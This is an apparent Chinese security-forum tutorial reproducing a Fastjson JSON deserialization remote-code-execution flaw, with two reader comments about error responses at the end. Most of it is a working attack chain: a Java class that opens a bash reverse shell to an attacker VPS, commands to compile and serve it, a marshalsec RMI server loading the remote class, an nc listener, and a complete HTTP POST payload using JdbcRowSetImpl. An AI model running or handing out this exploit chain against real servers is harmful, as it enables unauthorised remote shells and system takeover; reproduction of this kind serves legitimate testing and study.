本漏洞复现要求有一台vps作为攻击机,以下操作均在vps上完成。
1.获取exp
exp就是一个反弹shell的代码
复制代码
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/VPSip/8888 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
2.vim Exploit.java 修改成vpsIP和端口,此处的端口与后面NC监听的端口对应(反弹shell的过程)。
3.javac Exploit.java
把java文件编译成class文件。注意:此处要求攻击机的javac是1.8的低版本(测试在1.8.0_181可成功,尽量低于1.8.0_191版本),编译需具备marshalsec-0.0.3-SNAPSHOT-all.jar
文件,可从github上下载(资源)。
jdk低版本rpm文件包与安装方法参考:sourse -适用于centOS系统。
4.用python开启web服务,可随意设置端口
python3 -m http.server 8081
5.然后借助marshalsec项目,启动一个RMI服务器,监听9999端口(句尾的9999
端口为RMI服务端口,此端口和后面poc中rmi项的端口对应,用于RMI调用远程方法),并制定加载远程类Exploit.class:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP:8081/#Exploit" 9999
6.用nc开启端口监听,此处的端口跟exploit.java中的端口一致
7.用burp发送poc(需修改两个位置的ip,第一个为目标ip,第二个为vps攻击机的ip。注意content-type为json),等待shell
POST / HTTP/1.1
Host: 目标ip
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 264
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vpsIP:9999/Exploit",
"autoCommit":true
}
}
可见已getshell:
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
nzfish | 4.00 | 0 | 2022-10-17 11:11:11 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
nzfish
发表于 2022-10-17
请问发送poc返回500是啥问题?
评论列表
加载数据中...
yangsheng
发表于 3个月前
我的poc返回的是 504 Gateway Time-out这啥问题呀
评论列表
加载数据中...